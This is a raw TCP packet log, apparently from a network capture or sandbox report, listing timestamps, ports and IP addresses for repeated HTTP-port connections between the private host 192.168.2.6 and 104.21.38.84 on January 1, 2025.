Jan 1, 2025 16:04:19.158577919 CET	62814	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:19.233750105 CET	62814	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:19.233753920 CET	62815	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:19.238619089 CET	80	62815	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:19.238828897 CET	80	62814	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:19.238832951 CET	62815	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:19.238935947 CET	62814	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:19.239058018 CET	62815	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:19.243870974 CET	80	62815	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:19.595030069 CET	62815	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:19.599915981 CET	80	62815	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:19.682874918 CET	80	62815	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:19.844921112 CET	62815	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:19.946664095 CET	80	62815	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.062650919 CET	62812	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.065165997 CET	62815	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.065970898 CET	62816	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.070168972 CET	80	62815	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.070219994 CET	62815	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.070807934 CET	80	62816	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.070893049 CET	62816	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.070972919 CET	62816	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.075750113 CET	80	62816	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.424607038 CET	62816	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.430048943 CET	80	62816	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.518418074 CET	80	62816	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.564560890 CET	62816	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.695903063 CET	80	62816	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.735539913 CET	62816	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.810040951 CET	62817	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.810056925 CET	62816	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.814924002 CET	80	62817	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.815201044 CET	80	62816	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.816708088 CET	62817	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.816760063 CET	62816	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.816839933 CET	62817	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.821650982 CET	80	62817	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.908607006 CET	62817	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.908823013 CET	62818	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.913640022 CET	80	62818	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.916657925 CET	62818	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.916657925 CET	62818	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:20.921422958 CET	80	62818	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:20.958760977 CET	80	62817	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.028572083 CET	62819	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.033437967 CET	80	62819	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.036833048 CET	62819	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.037039995 CET	62819	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.041795969 CET	80	62819	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.190483093 CET	80	62817	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.190817118 CET	62817	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.270474911 CET	62818	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.275960922 CET	80	62818	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.276582003 CET	80	62818	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.391874075 CET	62819	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.396826029 CET	80	62819	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.408299923 CET	80	62818	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.454278946 CET	62818	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.521289110 CET	80	62819	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.606777906 CET	62819	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.677639008 CET	80	62818	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.693028927 CET	80	62819	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.719916105 CET	62818	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.809881926 CET	62819	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.853621960 CET	62818	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.853878975 CET	62819	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.855519056 CET	62820	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.858859062 CET	80	62818	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.858911037 CET	62818	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.859266996 CET	80	62819	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.859318972 CET	62819	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.860332012 CET	80	62820	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:21.860395908 CET	62820	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.860502005 CET	62820	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:21.865286112 CET	80	62820	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:22.220133066 CET	62820	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:22.225375891 CET	80	62820	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:22.320010900 CET	80	62820	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:22.491806984 CET	80	62820	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:22.492717981 CET	62820	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:22.607398987 CET	62821	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:22.612270117 CET	80	62821	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:22.612540007 CET	62821	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:22.612639904 CET	62821	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:22.617393970 CET	80	62821	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:22.972578049 CET	62821	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:22.978538990 CET	80	62821	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:23.056968927 CET	80	62821	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:23.110551119 CET	62821	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:23.232306957 CET	80	62821	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:23.284539938 CET	62821	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:23.370157957 CET	62821	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:23.370625973 CET	62822	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:23.375355959 CET	80	62821	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:23.375401974 CET	62821	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:23.375509977 CET	80	62822	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:23.375577927 CET	62822	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:23.375734091 CET	62822	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:23.381184101 CET	80	62822	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:23.720494986 CET	62822	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:23.725431919 CET	80	62822	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:23.854490995 CET	80	62822	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:24.048090935 CET	62822	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.130264044 CET	80	62822	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:24.250205994 CET	62822	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.250977993 CET	62823	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.255563974 CET	80	62822	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:24.255629063 CET	62822	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.256901979 CET	80	62823	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:24.256963968 CET	62823	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.257050991 CET	62823	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.261807919 CET	80	62823	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:24.612783909 CET	62823	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.617862940 CET	80	62823	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:24.701248884 CET	80	62823	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:24.751301050 CET	62823	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.871596098 CET	80	62823	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:24.924596071 CET	62823	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.998162985 CET	62823	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.998166084 CET	62824	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:24.998179913 CET	62820	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.003027916 CET	80	62824	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:25.003190041 CET	80	62823	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:25.004678965 CET	62823	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.004682064 CET	62824	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.004851103 CET	62824	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.009988070 CET	80	62824	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:25.360723019 CET	62824	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.365526915 CET	80	62824	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:25.477138042 CET	80	62824	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:25.532426119 CET	62824	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.648529053 CET	80	62824	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:25.688683033 CET	62824	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.768136024 CET	62824	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.769001007 CET	62825	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.773181915 CET	80	62824	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:25.773236990 CET	62824	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.773916960 CET	80	62825	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:25.773986101 CET	62825	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.774082899 CET	62825	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:25.778917074 CET	80	62825	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.126344919 CET	62825	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.131309986 CET	80	62825	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.217799902 CET	80	62825	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.266848087 CET	62825	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.406861067 CET	80	62825	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.456634998 CET	62825	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.528774023 CET	62825	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.529011011 CET	62826	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.533873081 CET	80	62825	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.533895016 CET	80	62826	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.533992052 CET	62826	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.534001112 CET	62825	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.534126043 CET	62826	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.538937092 CET	80	62826	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.690134048 CET	62826	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.690156937 CET	62827	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.695060968 CET	80	62827	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.696765900 CET	62827	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.696835995 CET	62827	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.701605082 CET	80	62827	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.738784075 CET	80	62826	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.813004971 CET	62828	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.817842007 CET	80	62828	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.820739031 CET	62828	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.820739031 CET	62828	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:26.825578928 CET	80	62828	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.906292915 CET	80	62826	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:26.912653923 CET	62826	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.048530102 CET	62827	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.053422928 CET	80	62827	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:27.053591013 CET	80	62827	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:27.148817062 CET	80	62827	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:27.173583031 CET	62828	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.178472996 CET	80	62828	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:27.188735008 CET	62827	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.264251947 CET	80	62828	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:27.313690901 CET	62828	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.424019098 CET	80	62827	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:27.470017910 CET	62827	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.519418955 CET	80	62828	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:27.563694954 CET	62828	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.824634075 CET	62827	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.824712992 CET	62828	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.825535059 CET	62829	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.830029964 CET	80	62827	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:27.830080986 CET	62827	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.830346107 CET	80	62829	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:27.830401897 CET	62829	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.830527067 CET	62829	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.830534935 CET	80	62828	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:27.830578089 CET	62828	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:27.835362911 CET	80	62829	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:28.190186977 CET	62829	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:28.195063114 CET	80	62829	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:28.283971071 CET	80	62829	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:28.329319954 CET	62829	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:28.483814001 CET	80	62829	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:28.532548904 CET	62829	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:28.570537090 CET	80	62829	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:28.570940971 CET	62829	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:28.576013088 CET	80	62829	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:28.576632023 CET	62829	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:28.684585094 CET	62830	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:28.689466953 CET	80	62830	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:28.692714930 CET	62830	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:28.696898937 CET	62830	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:28.701680899 CET	80	62830	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:29.048518896 CET	62830	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:29.055260897 CET	80	62830	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:29.136650085 CET	80	62830	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:29.268816948 CET	62830	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:29.311430931 CET	80	62830	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:29.437536955 CET	62830	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:29.444585085 CET	80	62830	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:29.444660902 CET	62830	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:29.446723938 CET	62831	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:29.451597929 CET	80	62831	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:29.451662064 CET	62831	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:29.451765060 CET	62831	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:29.456530094 CET	80	62831	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:29.798204899 CET	62831	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:29.803107977 CET	80	62831	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:29.908559084 CET	80	62831	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:29.954335928 CET	62831	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:30.183532000 CET	80	62831	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:30.236079931 CET	62831	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:30.513784885 CET	62831	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:30.514949083 CET	62832	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:30.518824100 CET	80	62831	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:30.518887043 CET	62831	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:30.519800901 CET	80	62832	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:30.519890070 CET	62832	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:30.520368099 CET	62832	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:30.525167942 CET	80	62832	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:30.876447916 CET	62832	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:30.881412029 CET	80	62832	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:30.964585066 CET	80	62832	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:31.079341888 CET	62832	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:31.135339975 CET	80	62832	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:31.263395071 CET	62832	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:31.264106989 CET	62833	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:31.269522905 CET	80	62832	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:31.269598007 CET	62832	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:31.269970894 CET	80	62833	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:31.270039082 CET	62833	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:31.270220995 CET	62833	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:31.275808096 CET	80	62833	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:31.626456022 CET	62833	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:31.631422997 CET	80	62833	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:31.734040976 CET	80	62833	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:31.908782959 CET	80	62833	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:31.908868074 CET	62833	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.030622005 CET	62833	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.031261921 CET	62834	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.035733938 CET	80	62833	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.035794020 CET	62833	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.036134005 CET	80	62834	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.036201000 CET	62834	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.036284924 CET	62834	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.041073084 CET	80	62834	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.391988039 CET	62834	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.396893978 CET	80	62834	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.439510107 CET	62834	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.440325022 CET	62835	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.444542885 CET	80	62834	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.444592953 CET	62834	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.445099115 CET	80	62835	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.445158005 CET	62835	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.445283890 CET	62835	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.450108051 CET	80	62835	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.565363884 CET	62836	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.571222067 CET	80	62836	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.571332932 CET	62836	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.571446896 CET	62836	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.577218056 CET	80	62836	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.798898935 CET	62835	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.803854942 CET	80	62835	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.803910971 CET	80	62835	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.909984112 CET	80	62835	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:32.923286915 CET	62836	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:32.928179026 CET	80	62836	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:33.019397020 CET	80	62836	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:33.063731909 CET	62835	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.063735962 CET	62836	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.197468042 CET	80	62835	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:33.273366928 CET	80	62836	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:33.322690010 CET	62835	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.322762012 CET	62836	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.388103008 CET	62835	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.388243914 CET	62836	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.388416052 CET	62796	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.388535976 CET	62789	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.389211893 CET	62837	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.394129038 CET	80	62837	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:33.394251108 CET	62837	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.394334078 CET	62837	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.394788980 CET	80	62835	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:33.394857883 CET	80	62836	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:33.395031929 CET	62835	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.395031929 CET	62836	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.399123907 CET	80	62837	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:33.754591942 CET	62837	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:33.759533882 CET	80	62837	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:33.846932888 CET	80	62837	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:33.994559050 CET	62837	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.034149885 CET	80	62837	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:34.154788017 CET	62837	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.156066895 CET	62838	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.159871101 CET	80	62837	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:34.160176039 CET	62837	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.160924911 CET	80	62838	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:34.161016941 CET	62838	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.161170006 CET	62838	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.165981054 CET	80	62838	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:34.520834923 CET	62838	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.525782108 CET	80	62838	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:34.605062008 CET	80	62838	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:34.651238918 CET	62838	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.780651093 CET	80	62838	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:34.887032032 CET	62838	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.917442083 CET	62839	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.922336102 CET	80	62839	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:34.922400951 CET	62839	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.922554016 CET	62839	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:34.927403927 CET	80	62839	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:35.267049074 CET	62839	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:35.272236109 CET	80	62839	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:35.371908903 CET	80	62839	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:35.485650063 CET	62839	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:35.556616068 CET	80	62839	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:35.669552088 CET	62839	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:35.669739962 CET	62840	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:35.674683094 CET	80	62839	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:35.674701929 CET	80	62840	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:35.674827099 CET	62840	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:35.674830914 CET	62839	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:35.674976110 CET	62840	80	192.168.2.6	104.21.38.84
Jan 1, 2025 16:04:35.679781914 CET	80	62840	104.21.38.84	192.168.2.6
Jan 1, 2025 16:04:36.038537025 CET	62840	80	192.168.2.6	104.21.38.84
